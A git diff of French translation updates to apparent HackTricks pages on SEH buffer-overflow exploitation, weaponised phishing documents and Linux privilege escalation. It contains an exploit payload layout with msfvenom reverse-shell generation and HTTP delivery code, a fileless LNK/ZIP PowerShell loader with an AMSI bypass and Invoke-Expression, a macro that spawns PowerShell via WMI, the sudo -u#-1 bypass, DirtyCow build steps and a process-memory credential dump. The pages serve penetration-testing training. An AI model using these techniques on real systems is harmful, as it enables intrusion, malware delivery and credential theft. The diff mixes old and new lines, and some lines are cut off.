../../banners/hacktricks-training.md}} -L'exploitation basée sur SEH est une technique classique sur x86 Windows qui abuse de la chaîne Structured Exception Handler stockée sur la stack. Lorsqu'un buffer overflow sur la stack écrase les deux champs de 4 octets +SEH-based exploitation est une technique classique sur Windows x86 qui abuse de la chaîne Structured Exception Handler stockée sur la pile. Quand un débordement de tampon sur la pile écrase les deux champs de 4 octets suivants - nSEH: pointer to the next SEH record, and - SEH: pointer to the exception handler function un attaquant peut prendre le contrôle de l'exécution en : -1) Plaçant SEH à l'adresse d'un POP POP RET gadget dans un module non protégé, de sorte que lorsqu'une exception est déclenchée le gadget renvoie vers des octets contrôlés par l'attaquant, et -2) Utilisant nSEH pour rediriger l'exécution (typiquement un short jump) vers le grand buffer débordant où se trouve le shellcode. +1) Mettre SEH à l'adresse d'un gadget POP POP RET dans un module non protégé, de sorte que lorsque une exception est déclenchée le gadget renvoie l'exécution vers des octets contrôlés par l'attaquant, et +2) Utiliser nSEH pour rediriger l'exécution (typiquement un saut court) vers l'intérieur du grand buffer débordant où réside le shellcode. -Cette technique est spécifique aux processus 32-bit (x86). Sur les systèmes modernes, préférez un module sans SafeSEH et ASLR pour le gadget. Les caractères problématiques incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du HTTP parsing. +Cette technique est spécifique aux processus 32-bit (x86). Sur les systèmes modernes, privilégiez un module sans SafeSEH et sans ASLR pour le gadget. Les bad characters incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du parsing HTTP. --- ## Finding exact offsets (nSEH / SEH) -- Faites crasher le processus et vérifiez que la chaîne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH). -- Envoyez un pattern cyclique comme données de débordement et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH. +- Faites planter le processus et vérifiez que la chaîne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH). +- Envoyez un cyclic pattern comme données débordantes et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH. -Example with peda/GEF/pwntools on a 1000-byte POST body: +Exemple avec peda/GEF/pwntools sur un corps POST de 1000 octets: ```bash # generate pattern (any tool is fine) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 @@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Conservez la longueur totale constante pour rendre le crash reproductible. +Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Gardez la longueur totale constante pour rendre le crash reproductible. --- ## Choisir un POP POP RET (SEH gadget) -Vous avez besoin d'une séquence POP POP RET pour dérouler le cadre SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et idéalement sans ASLR : +Vous avez besoin d'une séquence POP POP RET pour dérouler la frame SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et de préférence sans ASLR: -- Mona (Immunity/WinDbg) : `!mona modules` puis `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg : `ERC --SEH` pour lister les gadgets POP POP RET et le statut SafeSEH. +- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. -Choisissez une adresse qui ne contient pas de badchars lorsque écrite en little-endian (par ex., `p32(0x004094D8)`). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent. +Choisissez une adresse qui ne contient pas de badchars lorsqu'elle est écrite en little-endian (par ex., `p32(0x004094D8)`). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent. --- -## Technique de jump-back (short + near jmp) +## Technique jump-back (short + near jmp) -nSEH ne fait que 4 octets, ce qui permet au plus un short jump de 2 octets (`EB xx`) plus du padding. Si vous devez sauter en arrière de centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaînez dessus avec un short jump depuis nSEH. +nSEH ne fait que 4 octets, ce qui accepte au plus un short jump de 2 octets (`EB xx`) plus du padding. Si vous devez revenir de plusieurs centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaînez dessus avec un short jump depuis nSEH. -Avec nasmshell: +With nasmshell: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Disposition proposée pour un payload de 1000 bytes avec nSEH à offset 660: +Idée d'agencement pour un payload de 1000 bytes avec nSEH à offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Flux d'exécution : +Execution flow: - Une exception se produit, le dispatcher utilise le SEH écrasé. -- POP POP RET déroule la pile jusqu'à notre nSEH. -- nSEH exécute `jmp short -8` pour atteindre le 5-byte near jump. -- Le near jump atterrit au début de notre buffer où résident le NOP sled + shellcode. +- POP POP RET déroule vers notre nSEH. +- nSEH exécute `jmp short -8` vers le near jump de 5 octets. +- Le near jump aboutit au début de notre buffer où résident le NOP sled + shellcode. --- -## Caractères interdits +## Bad characters -Générez une chaîne complète de badchar et comparez la mémoire de la stack après le crash, en supprimant les octets qui sont altérés par le parser cible. Pour les overflows basés sur HTTP, `\x00\x0a\x0d` sont presque toujours exclus. +Construisez une chaîne complète de badchar et comparez la mémoire stack après le crash, en retirant les octets qui sont corrompus par le parser cible. Pour les overflows basés sur HTTP, `\x00\x0a\x0d` sont presque toujours exclus. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -95,15 +95,16 @@ Utilisez msfvenom avec vos badchars. Un petit NOP sled aide à tolérer les vari msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Si vous le générez à la volée, le format hex est pratique à intégrer et à déhexer en Python: +Si vous générez à la volée, le format hex est pratique pour embed et unhex en Python : ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- -## Livraison via HTTP (CRLF précis + Content-Length) -Lorsque le vecteur vulnérable est le corps d'une requête HTTP, confectionnez une requête brute avec des CRLF précis et un Content-Length exact afin que le serveur lise l'intégralité du corps débordant. +## Envoi via HTTP (CRLF précis + Content-Length) + +Lorsque le vecteur vulnérable est le corps d'une requête HTTP, créez une raw request avec des CRLFs précis et un Content-Length exact afin que le serveur lise l'intégralité du corps débordant. ```python # pip install pwntools from pwn import remote @@ -127,17 +128,17 @@ p.close() ## Outils - x32dbg/x64dbg pour observer la chaîne SEH et analyser le crash. -- ERC.Xdbg (x64dbg plugin) pour énumérer les gadgets SEH : `ERC --SEH`. +- ERC.Xdbg (plugin pour x64dbg) pour énumérer les SEH gadgets : `ERC --SEH`. - Mona en alternative : `!mona modules`, `!mona seh`. - nasmshell pour assembler des short/near jumps et copier les opcodes bruts. -- pwntools pour construire des payloads réseau précis. +- pwntools pour fabriquer des payloads réseau précis. --- -## Remarques et mises en garde +## Notes et mises en garde - S'applique uniquement aux processus x86. x64 utilise un schéma SEH différent et l'exploitation basée sur SEH n'est généralement pas viable. -- Privilégiez les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouvez un module non protégé chargé dans le processus. +- Privilégier les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouver un module non protégé chargé dans le processus. - Les watchdogs de service qui redémarrent automatiquement après un crash peuvent faciliter le développement itératif d'exploits. ## Références diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 6d77e3fdd..316950475 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -2,32 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Documents Office +## Office Documents -Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est réalisée sous la forme d'une identification de la structure de données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure de données, le fichier analysé ne sera pas ouvert. +Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est effectuée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert. -En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout la capacité d'exécution des macros.\ +En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout leur capacité d'exécution des macros.\ Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et pourra exécuter des macros.\ Les mêmes mécanismes internes s'appliquent à tous les logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.). -Vous pouvez utiliser la commande suivante pour vérifier quelles extensions seront exécutées par certains programmes Office: +Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office : ```bash assoc | findstr /i "word excel powerp" ``` -Les fichiers DOCX faisant référence à un template distant (File –Options –Add-ins –Manage: Templates –Go) qui contient des macros peuvent également « exécuter » des macros. +Les fichiers DOCX référencant un modèle distant (File –Options –Add-ins –Manage: Templates –Go) qui inclut des macros peuvent également « exécuter » des macros. -### Chargement d'images externes +### Chargement d'image externe -Aller à : _Insert --> Quick Parts --> Field_\ -_**Categories** : Links and References, **Filed names** : includePicture, et **Filename or URL** :_ http:///whatever +Go to: _Insert --> Quick Parts --> Field_\ +_**Catégories** : Links and References, **Filed names** : includePicture, et **Nom de fichier ou URL** :_ http:///whatever ![](<../../images/image (155).png>) -### Backdoor des macros +### Porte dérobée de macros Il est possible d'utiliser des macros pour exécuter du code arbitraire depuis le document. -#### Fonctions d'autochargement +#### Fonctions d'autoload Plus elles sont courantes, plus il est probable que l'AV les détecte. @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Supprimer manuellement les métadonnées +#### Manually remove metadata Allez dans **File > Info > Inspect Document > Inspect Document**, ce qui ouvrira le Document Inspector. Cliquez sur **Inspect** puis sur **Remove All** à côté de **Document Properties and Personal Information**. -#### Extension du document +#### Doc Extension -Lorsque c'est terminé, ouvrez le menu déroulant **Save as type** et changez le format de **`.docx`** en **Word 97-2003 `.doc`**.\ -Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il existe une **méfiance** **à l'égard** de l'extension activant les macros **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certaines passerelles web/email les bloquent complètement). Par conséquent, cette **ancienne extension `.doc` est le meilleur compromis**. +Lorsque terminé, sélectionnez le menu déroulant **Save as type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\ +Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il existe un **stigma** **autour** de l'extension macro-enabled **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certains web/email gateway les bloquent entièrement). Par conséquent, cette **extension legacy `.doc` est le meilleur compromis**. -#### Générateurs de macros malveillantes +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## Fichiers HTA +## HTA Files -Un HTA est un programme Windows qui **combine HTML et langages de script (tels que VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute comme une application « entièrement approuvée », sans les contraintes du modèle de sécurité d'un navigateur. +An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. -Un HTA est exécuté via **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, si celui-ci a été désinstallé, les HTA ne pourront pas s'exécuter. +An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. ```html <--! Basic HTA Execution --> @@ -138,11 +138,11 @@ var_func self.close ``` -## Forcer l'authentification NTLM +## Forcing NTLM Authentication -Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pouvez ajouter des **images invisibles** aux e-mails ou HTML auxquels l'utilisateur accédera (même HTTP MitM ?). Ou envoyer à la victime l'**adresse de fichiers** qui va **déclencher** une **authentification** simplement en **ouvrant le dossier.** +Il existe plusieurs manières de **forcer l'authentification NTLM « à distance »**, par exemple en ajoutant des **images invisibles** dans des e-mails ou du HTML que l'utilisateur ouvrira (même via un MitM HTTP ?). Ou envoyer à la victime l'**adresse de fichiers** qui vont **déclencher** une **authentification** rien qu'en **ouvrant le dossier.** -**Consultez ces idées et plus dans les pages suivantes :** +**Consultez ces idées et d'autres sur les pages suivantes :** {{#ref}} @@ -156,20 +156,20 @@ Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, ### NTLM Relay -N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi **perform NTLM relay attacks** : +N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi réaliser des NTLM relay attacks : - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Des campagnes très efficaces livrent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le véritable PowerShell loader est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk le découpe et l'exécute complètement en mémoire. +Des campagnes très efficaces distribuent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le PowerShell loader réel est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk l'extrait et l'exécute entièrement en mémoire. -Flux typique implémenté par le one-liner PowerShell du .lnk : +Flux typique mis en œuvre par le one-liner PowerShell du .lnk : -1) Localiser le ZIP original dans des emplacements courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le répertoire parent du répertoire de travail courant. +1) Localiser le ZIP original dans les chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le répertoire parent du répertoire de travail courant. 2) Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est le payload PowerShell embarqué. -3) Copier le ZIP vers %ProgramData%, l'extraire là, et ouvrir le .docx leurre pour paraître légitime. +3) Copier le ZIP dans %ProgramData%, l'extraire là, puis ouvrir le .docx leurre pour paraître légitime. 4) Contourner AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true 5) Déobfusquer l'étape suivante (par ex., supprimer tous les caractères #) et l'exécuter en mémoire. @@ -191,10 +191,10 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Remarques -- La livraison abuse souvent de sous-domaines PaaS réputés (par ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bénins en fonction de l'IP/UA). -- L'étape suivante décrypte fréquemment du base64/XOR shellcode et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur disque. +- La livraison abuse souvent des sous-domaines PaaS réputés (par ex., *.herokuapp.com) et peut gate les payloads (servir des ZIPs bénins en fonction de l'IP/UA). +- L'étape suivante décrypte fréquemment du base64/XOR shellcode et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur le disque. -Persistance utilisée dans la même chaîne +Persistence used in the same chain - COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: {{#ref}} @@ -203,9 +203,9 @@ Persistance utilisée dans la même chaîne Hunting/IOCs - ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. -- .lnk qui énumère les dossiers parent/utilisateur pour localiser le ZIP et ouvre un document leurre. -- Altération d'AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Threads métier de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance. +- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Conversations business de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance. ## Références diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index de7069bfa..d084a6bc0 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informations système -### Informations sur l'OS +### Infos OS -Commençons par recueillir des informations sur l'OS en cours d'exécution +Commençons par obtenir des informations sur l'OS en cours d'exécution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Si vous **have write permissions on any folder inside the `PATH`** variable, vous pourriez être en mesure de hijack certaines libraries ou binaries: +Si vous **avez des permissions d'écriture sur n'importe quel dossier dans la variable `PATH`**, vous pourriez être en mesure de hijack certaines bibliothèques ou binaires : ```bash echo $PATH ``` @@ -26,26 +26,26 @@ Des informations intéressantes, des mots de passe ou des clés API dans les var ``` ### Kernel exploits -Vérifiez la version du kernel et voyez s'il existe un exploit pouvant être utilisé pour escalate privileges +Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalader les privilèges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de kernel vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -D'autres sites où vous pouvez trouver des **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +D'autres sites où vous pouvez trouver quelques **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de kernel vulnérables depuis ce site, vous pouvez faire : +Pour extraire toutes les versions de noyau vulnérables depuis ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Outils qui peuvent aider à rechercher des exploits pour le kernel : +Outils qui peuvent aider à rechercher des kernel exploits sont : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter DANS la machine victime, vérifie uniquement les exploits pour kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter IN victim, vérifie seulement les exploits pour kernel 2.x) -Toujours **recherchez la version du kernel sur Google**, il se peut que votre version du kernel soit mentionnée dans un exploit et ainsi vous serez sûr que cet exploit est valide. +Recherchez toujours la **kernel version sur Google**, peut‑être que votre kernel version est mentionnée dans un kernel exploit et ainsi vous serez sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Version de sudo +### Version de Sudo -D'après les versions vulnérables de sudo qui apparaissent dans : +Basé sur les versions vulnérables de sudo qui apparaissent dans : ```bash searchsploit sudo ``` @@ -69,13 +69,13 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -De @sickrov +Par @sickrov ``` sudo -u#-1 /bin/bash ``` -### Échec de la vérification de la signature de Dmesg +### Dmesg : échec de la vérification de la signature -Consultez **smasher2 box of HTB** pour un **exemple** montrant comment cette vuln pourrait être exploitée +Consultez **smasher2 box of HTB** pour un **exemple** de la façon dont cette vuln pourrait être exploitée ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si vous êtes à l'intérieur d'un docker container, vous pouvez essayer d'en sortir : +Si vous êtes à l'intérieur d'un docker container vous pouvez essayer de vous en échapper : {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Disques -Vérifiez **ce qui est mounted et unmounted**, où et pourquoi. Si quelque chose est unmounted, vous pouvez essayer de le mount et vérifier s'il contient des informations privées. +Vérifiez **what is mounted and unmounted**, où et pourquoi. Si quelque chose est unmounted vous pourriez essayer de le mount et vérifier s'il contient des informations privées ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Logiciels utiles -Énumérer des binaires utiles +Énumérer les binaires utiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -De plus, vérifiez si un compiler est installé. Ceci est utile si vous devez utiliser un kernel exploit car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire). +Vérifiez également si **un compilateur est installé**. C'est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l'exécuter (ou sur une machine similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Peut-être qu'il y a une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…\ +Vérifiez la **version des paquets et services installés**. Il se peut qu'une ancienne version de Nagios (par exemple) puisse être exploitée pour obtenir une élévation de privilèges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez accès SSH à la machine vous pouvez également utiliser **openVAS** pour vérifier les logiciels installés sur la machine qui sont obsolètes ou vulnérables. +Si vous avez un accès SSH à la machine, vous pouvez aussi utiliser **openVAS** pour vérifier les logiciels installés sur la machine qui sont obsolètes ou vulnérables. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront pour la plupart inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou des outils similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus_ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront majoritairement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus_ ## Processus -Examinez **les processus** en cours d'exécution et vérifiez si un processus dispose de **plus de privilèges que nécessaire** (par exemple un tomcat exécuté par root ?) +Regardez **quels processus** sont exécutés et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` -Vérifiez toujours la présence éventuelle de [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ -Vérifiez aussi **vos privilèges sur les binaires des processus**, il se peut que vous puissiez en écraser un. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Vérifiez également vos privilèges sur les binaries des processus, peut‑être pouvez‑vous en écraser un. -### Surveillance des processus +### Process monitoring -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables exécutés fréquemment ou lorsque certaines conditions sont remplies. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables exécutés fréquemment ou lorsque certaines conditions sont réunies. -### Mémoire des processus +### Process memory -Certains services d'un serveur sauvegardent des **credentials en clair dans la mémoire**.\ -Normalement vous aurez besoin de **root privileges** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc ceci est généralement plus utile quand vous êtes déjà root et voulez découvrir d'autres credentials.\ -Cependant, souvenez‑vous qu'**en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. +Certains services d'un serveur enregistrent **credentials in clear text inside the memory**.\ +Normalement vous aurez besoin de **root privileges** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et que vous voulez découvrir d'autres credentials.\ +Cependant, rappelez‑vous que **en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Notez que de nos jours la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la manière classique dont ptracing fonctionnait. -> - **kernel.yama.ptrace_scope = 1**: seul un processus parent peut être débogué. -> - **kernel.yama.ptrace_scope = 2**: Seul l'admin peut utiliser ptrace, car cela nécessite la capacité CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut être tracé avec ptrace. Une fois défini, un reboot est nécessaire pour réactiver le ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pouvez récupérer le Heap et chercher à l'intérieur ses credentials. +Si vous avez accès à la mémoire d'un service FTP (par exemple) vous pourriez récupérer le Heap et y rechercher ses credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un ID de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuel de ce processus** ; elles indiquent aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus lui-même**. À partir du fichier **maps** nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **nous positionner dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. +Pour un identifiant de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuel** de ce processus ; cela montre aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons cette information pour **nous positionner dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel peut être accédé en utilisant /dev/kmem.\ -Typiquement, `/dev/mem` est lisible uniquement par **root** et le groupe **kmem**. +`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adressage virtuel du kernel est accessible via 